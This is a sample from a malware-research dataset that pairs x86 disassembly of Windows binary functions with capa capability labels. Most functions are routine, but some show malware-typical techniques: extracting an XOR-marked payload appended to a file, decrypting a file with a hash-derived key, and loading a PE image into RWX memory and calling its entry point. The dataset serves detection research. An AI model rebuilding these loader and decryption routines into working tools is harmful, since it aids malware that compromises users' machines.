joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405898
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
xor ebx, ebx
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4058fc
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4058eb
cmp dword [ebp + 0x14], 1
je 0x4058ed
cmp dword [ebp + 0x14], 2
je 0x4058ed
mov byte [esi], bl
push dword [ebp + 0xc]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x4059c6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
test ebx, ebx
jge 0x4059e7
mov ecx, dword [0x423afc]
lea eax, [ebx*4 + 4]
sub ecx, eax
mov ebx, dword [ecx]
mov eax, dword [0x424358]
mov ecx, dword [ebp + 8]
add ebx, eax
mov eax, 0x4232c0
sub ecx, eax
mov edi, eax
cmp ecx, 0x800
jae 0x405bba
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
jmp 0x405bba
mov edx, edi
sub edx, eax
cmp edx, 0x400
jge 0x405bc7
inc ebx
cmp cl, 0xfc
jbe 0x405bad
movsx eax, byte [ebx + 1]
movsx ecx, byte [ebx]
mov esi, eax
mov edx, ecx
and esi, 0x7f
and edx, 0x7f
shl esi, 7
or esi, edx
mov edx, 0x8000
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
or ecx, edx
or eax, edx
inc ebx
mov dword [ebp - 0x14], ecx
inc ebx
cmp byte [ebp + 0xf], 0xfe
mov dword [ebp - 0xc], eax
jne 0x405b58
and dword [ebp + 0xc], 0
and byte [edi], 0
push 4
pop esi
cmp dword [ebp - 0x10], esi
jne 0x405a7b
mov dword [ebp + 0xc], str.MicrosoftInternet_ExplorerQuick_Launch
jmp 0x405af3
mov eax, dword [ebp - 0x18]
cmp eax, 0x2b
jne 0x405a9a
push edi
push str.CommonFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00405898
jmp 0x405aee
cmp eax, 0x26
jne 0x405aca
push edi
push str.ProgramFilesDir
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00405898
cmp byte [edi], 0
jne 0x405b50
push str.C:Program_Files
push edi
call fcn.004059a4
jmp 0x405aee
cmp eax, 0x25
jne 0x405add
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x405aee
cmp eax, 0x24
jne 0x405af3
push 0x400
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp byte [edi], 0
jne 0x405b50
cmp dword [0x4243a4], 0
jne 0x405aff
push 2
pop esi
lea eax, [ebp - 4]
dec esi
push eax
push dword [ebp + esi*4 - 0x18]
push dword [0x424324]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x405b35
push edi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [ebp - 4]
mov dword [ebp - 8], eax
call fcn.0040520d
cmp dword [ebp - 8], 0
jne 0x405b3c
jmp 0x405b38
and byte [edi], 0
test esi, esi
jne 0x405aff
cmp byte [edi], 0
je 0x405b50
cmp dword [ebp + 0xc], 0
je 0x405b50
push dword [ebp + 0xc]
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call fcn.00405be0
jmp 0x405b9e
cmp byte [ebp + 0xf], 0xfd
jne 0x405b8c
cmp esi, 0x1b
jne 0x405b71
push dword [0x424324]
push edi
call fcn.00405902
jmp 0x405b82
mov eax, esi
shl eax, 0xa
add eax, section..ndata
push eax
push edi
call fcn.004059a4
add esi, 0xffffffeb
cmp esi, 6
jae 0x405b9e
jmp 0x405b50
cmp byte [ebp + 0xf], 0xff
jne 0x405b9e
or eax, 0xffffffff
sub eax, esi
push eax
push edi
call fcn.004059c6
push edi
call sub.KERNEL32.dll_lstrlenA
add edi, eax
mov eax, 0x4232c0
jmp 0x405bba
jne 0x405bb7
mov cl, byte [ebx]
mov byte [edi], cl
inc edi
inc ebx
jmp 0x405bba
mov byte [edi], cl
inc edi
mov cl, byte [ebx]
test cl, cl
mov byte [ebp + 0xf], cl
jne 0x405a12
and byte [edi], 0
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x405bdc
push eax
push dword [ebp + 8]
call fcn.004059a4
leave
ret 8
Function at 0x405d14
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422ec4], 0
push esi
jne 0x405d4b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d25
mov dword [ecx*4 + 0x422ec0], eax
inc ecx
cmp ecx, 0x100
jl 0x405d20
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405d7c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ec0]
xor eax, esi
inc ecx
dec edx
jne 0x405d5e
pop edi
not eax
pop esi
ret 0xc
Function at 0x402704
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x405010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40279c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40277c
xor eax, eax
push ebp
push 0x402775
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4027b8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40277c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x405010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x405010], ax
mov esp, ebp
pop ebp
ret

Function at 0x402de4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x406034], 0
je 0x402e45
cmp word [0x406208], 0xd7b2
jne 0x402e0d
cmp dword [0x406210], 0
jbe 0x402e0d
mov eax, 0x406204
call dword [0x406220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x405058
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402e6c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x40501c], 0
jne 0x402e61
push 0
push 0x405050
push 0x405058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x40364c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4036b2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403090
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004025f8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40369c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036b9
lea eax, [ebp - 0x10]
call fcn.00402f60
ret
Function at 0x403c54
Capabilities:
Clear file content
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
cmp dword [ebp + 8], 0
je 0x403d21
push ebx
push esi
mov eax, dword [0x406650]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov edi, eax
test edi, edi
je 0x403d21
push edi
mov eax, dword [0x406650]
push eax
call sub.KERNEL32.DLL_LoadResource
mov esi, eax
test esi, esi
je 0x403d21
push esi
call sub.KERNEL32.DLL_LockResource
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403d21
push 0
push 6
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403d21
push edi
mov eax, dword [0x406650]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push edi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebp + 8]
call fcn.004030a8
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push edi
mov eax, dword [ebp + 8]
call fcn.0040320c
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
call fcn.00403a78
push esi
call sub.KERNEL32.DLL_FreeResource
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x403d2c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x403dc3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
test eax, eax
jne 0x403d6a
mov byte [ebp - 0x100], 0x43
mov al, byte [ebp - 0x100]
push eax
call sub.user32.dll_IsCharAlphaA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x403d87
mov byte [ebp - 0x100], 0x43
lea eax, [ebp - 0x104]
mov dl, byte [ebp - 0x100]
call fcn.00403080
mov edx, dword [ebp - 0x104]
mov eax, ebx
mov ecx, 0x403dd8
call fcn.004030f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403dca
lea eax, [ebp - 0x104]
call fcn.00402f60
ret
Function at 0x403e10
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.00402f60
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403eb1
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [esp + 4]
push eax
push 4
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
xor dword [esp + 4], 0x675975e2
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
cmp eax, dword [esp + 4]
jb 0x403eb1
push 2
push 0
mov eax, dword [esp + 0xc]
neg eax
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
mov eax, esi
mov edx, dword [esp + 4]
call fcn.0040333c
push 0
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, esi
call fcn.00403264
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x403eb8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, dword [ebp + 0x14]
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.advapi32.dll_RegCreateKeyExA
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop ebx
pop ecx
pop ecx
pop ebp
ret 0x10

Function at 0x404050
Capabilities:
Move file

Disassembly:
push ebx
push esi
add esp, 0xfffffdf4
mov esi, edx
mov ebx, eax
call fcn.0040402c
test al, al
je 0x4040b4
push 0x104
lea eax, [esp + 4]
push eax
mov eax, ebx
call fcn.0040320c
push eax
call sub.KERNEL32.DLL_GetShortPathNameA
push 0x104
lea eax, [esp + 0x109]
push eax
mov eax, esi
call fcn.0040320c
push eax
call sub.KERNEL32.DLL_GetShortPathNameA
push 0x4040d4
lea eax, [esp + 0x109]
push eax
lea eax, [esp + 8]
push eax
push 0x4040e0
call sub.KERNEL32.DLL_WritePrivateProfileStringA
jmp 0x4040cb
push 5
mov eax, ebx
call fcn.0040320c
push eax
mov eax, esi
call fcn.0040320c
push eax
call sub.KERNEL32.DLL_MoveFileExA
add esp, 0x20c
pop esi
pop ebx
ret
Function at 0x404254
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, 0x406684
xor eax, eax
push ebp
push 0x40449a
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40447f
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
xor dword [ebp - 8], 0x675975e2
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
cmp eax, dword [ebp - 8]
jb 0x40447f
push 2
push 0
mov eax, dword [ebp - 8]
neg eax
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.0040333c
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x10]
call fcn.00403264
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x10]
call fcn.00403b24
mov edx, dword [ebp - 0x10]
mov eax, 0x4044b4
call fcn.004032f4
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.0040326c
mov eax, dword [ebp - 0x14]
mov edx, dword [0x4050b0]
call fcn.00403168
jne 0x40447f
lea ecx, [ebx + 1]
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.004032ac
mov edx, dword [ebp - 0x10]
mov eax, 0x4044b4
call fcn.004032f4
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.0040326c
mov eax, dword [ebp - 0x18]
call fcn.00404240
mov dword [esi], eax
lea ecx, [ebx + 1]
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.004032ac
mov edx, dword [ebp - 0x10]
mov eax, 0x4044b4
call fcn.004032f4
mov ebx, eax
lea eax, [esi + 4]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.0040326c
lea ecx, [ebx + 1]
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.004032ac
mov edx, dword [ebp - 0x10]
mov eax, 0x4044b4
call fcn.004032f4
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.0040326c
lea ecx, [ebx + 1]
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.004032ac
mov eax, dword [ebp - 0xc]
mov edx, 0x4044c0
call fcn.00403168
sete al
neg al
sbb eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x19c], eax
jmp 0x404476
mov edx, dword [ebp - 0x10]
mov eax, 0x4044b4
call fcn.004032f4
mov ebx, eax
cmp ebx, 1
jl 0x40447c
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.0040326c
lea ecx, [ebx + 1]
lea eax, [ebp - 0x10]
mov edx, 1
call fcn.004032ac
cmp dword [ebp - 0xc], 0
je 0x404476
inc dword [esi + 0x19c]
mov eax, dword [esi + 0x19c]
lea eax, [esi + eax*4 + 8]
mov edx, dword [ebp - 0xc]
call fcn.00402fb4
cmp dword [ebp - 0x10], 0
jne 0x404420
or edi, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4044a1
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00402f84
ret
Function at 0x10001020
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000000
xor esi, esi
lea eax, [ebp - 8]
push 0x18
push esi
push esi
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100010f3
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100010e8
mov edx, dword [ebp + 8]
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001072
push 0
sub ecx, edi
push ecx
push edx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
pop edi
test eax, eax
je 0x100010df
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 4]
push 0x6610
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x100010df
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push 0
push 1
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x100010d1
mov ecx, dword [ebp + 0x14]
mov esi, 1
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
jmp 0x100010d6
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001100
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1006d860]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.100524e0
add esp, 8
mov byte [eax], 0
mov eax, 0x1006c068
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001144
lea edi, [ebp - 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10001154
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
mov ecx, eax
lea eax, [ebp - 0x108]
push 0
and ecx, 3
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x1007fd88], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1007fd90], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x1007fd94
push dword [0x1007fd90]
mov dword [0x1007fd8c], eax
push eax
push dword [0x1007fd88]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x1007fd88]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10c]
push eax
push dword [0x1007fd90]
push dword [0x1007fd8c]
push 0x1006c040
call fcn.10001020
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.10052617
mov esp, ebp
pop ebp
ret
Function at 0x10001340
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, ecx
cmp esi, 0x40
jae 0x10001355
xor eax, eax
pop esi
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
mov dword [edx + 0xc], ecx
cmp word [ecx], ax
jne 0x1000134e
push edi
mov edi, dword [ecx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x1000139d
lea eax, [edi + ecx]
mov dword [edx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x1000139d
movzx ecx, word [eax + 0x16]
test ecx, 0x2000
je 0x1000139d
test cl, 2
je 0x1000139d
mov ecx, 0xe0
cmp word [eax + 0x14], cx
je 0x100013a5
pop edi
xor eax, eax
pop esi
pop ebp
ret 8
push ebx
lea ebx, [eax + 0xf8]
xor ecx, ecx
mov dword [edx + 0x14], ebx
movzx edi, word [eax + 6]
test edi, edi
jle 0x100013d4
xor edx, edx
jmp 0x100013c0
mov eax, dword [edx + ebx + 0x14]
add eax, dword [edx + ebx + 0x10]
cmp eax, esi
ja 0x100013e0
inc ecx
add edx, 0x28
cmp ecx, edi
jl 0x100013c0
pop ebx
pop edi
mov eax, 1
pop esi
pop ebp
ret 8
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret 8

Function at 0x100017f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 8], 0
je 0x10001803
xor eax, eax
pop esi
pop ebp
ret 8
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10001340
test eax, eax
je 0x100017fc
push ebx
mov ecx, esi
call fcn.100012c0
mov ebx, eax
test ebx, ebx
jne 0x10001826
pop ebx
pop esi
pop ebp
ret 8
push edi
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100018d2
push dword [ebp + 8]
mov ecx, esi
push edi
call fcn.100013f0
mov eax, dword [esi + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x10001869
cmp dword [eax + 0xa4], 0
jbe 0x10001869
push edi
mov ecx, esi
call fcn.10001480
push edi
mov ecx, esi
call fcn.10001510
test eax, eax
jne 0x1000188b
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebx
xor eax, eax
pop esi
pop ebp
ret 8
lea eax, [ebp + 8]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x10]
push 0
push 1
push edi
mov dword [eax + 0x34], edi
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x28]
add eax, edi
mov dword [esi + 4], eax
call eax
test eax, eax
jne 0x100018db
push eax
push eax
mov eax, dword [esi + 4]
push edi
call eax
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], 0
pop edi
pop ebx
xor eax, eax
pop esi
pop ebp
ret 8
mov dword [esi + 8], edi
mov eax, 1
pop edi
pop ebx
mov dword [esi], 1
pop esi
pop ebp
ret 8
Function at 0x10002600
Capabilities:
Convert ip address from string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x1006d860]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, 0x1006ec4b
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0x1006ec4b
push dword [esi + 0x1c]
mov dword [ebp - 0x40], 0x1006ec4b
push dword [esi + 0x18]
call fcn.10034730
add esp, 0xc
test eax, eax
jne 0x1000272e
push edi
mov edi, dword [sym.imp.WS2_32.dll_inet_pton]
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0xc]
push 0x17
call edi
cmp eax, 1
jne 0x1000266d
mov dword [ebp - 0x3c], 0x1006ec7c
mov dword [ebp - 0x40], 0x1006ec80
lea eax, [ebp - 0x14]
push eax
push dword [esi]
push 0x17
call edi
cmp eax, 1
jne 0x10002688
mov ebx, 0x1006ec7c
mov edi, 0x1006ec80
jmp 0x1000268d
mov edi, 0x1006ec4b
mov eax, dword [esi + 0x14]
mov ecx, 0x1006ec4b
cmp eax, 8
je 0x100026b5
cmp eax, 0x10
je 0x100026ae
cmp eax, 0x20
mov edx, ecx
mov eax, 0x1006ec48
cmove edx, eax
jmp 0x100026ba
mov edx, 0x1006ec44
jmp 0x100026ba
mov edx, 0x1006ec40
mov eax, dword [esi + 8]
cmp eax, 8
je 0x100026db
cmp eax, 0x10
je 0x100026d4
cmp eax, 0x20
mov eax, 0x1006ec48
cmove ecx, eax
jmp 0x100026e0
mov ecx, 0x1006ec44
jmp 0x100026e0
mov ecx, 0x1006ec40
push dword [esi + 0x24]
movzx eax, byte [esi + 0x20]
push eax
push dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
push dword [ebp - 0x34]
inc eax
push dword [ebp - 0x30]
push dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x24]
add eax, 0x76c
push eax
movzx eax, word [esi + 0x10]
push eax
push dword [ebp - 0x40]
movzx eax, word [esi + 4]
push dword [esi + 0xc]
push dword [ebp - 0x3c]
push edx
push eax
push edi
push dword [esi]
push ebx
push ecx
push 0x1006ec84
push dword [ebp - 0x44]
call sym.libcurl.dll_curl_mfprintf
add esp, 0x50
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10052617
mov esp, ebp
pop ebp
ret
Function at 0x10006cd0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007fda8]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x10006d22
push 3
push 2
push eax
push eax
push 6
call fcn.1004f790
add esp, 0x14
test al, al
je 0x10006d16
mov dword [0x1007fda8], 2
mov esp, ebp
pop ebp
ret
mov dword [0x1007fda8], 1
jmp 0x10006d27
cmp eax, 2
je 0x10006d67
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x10006d4e
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x10006d67
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret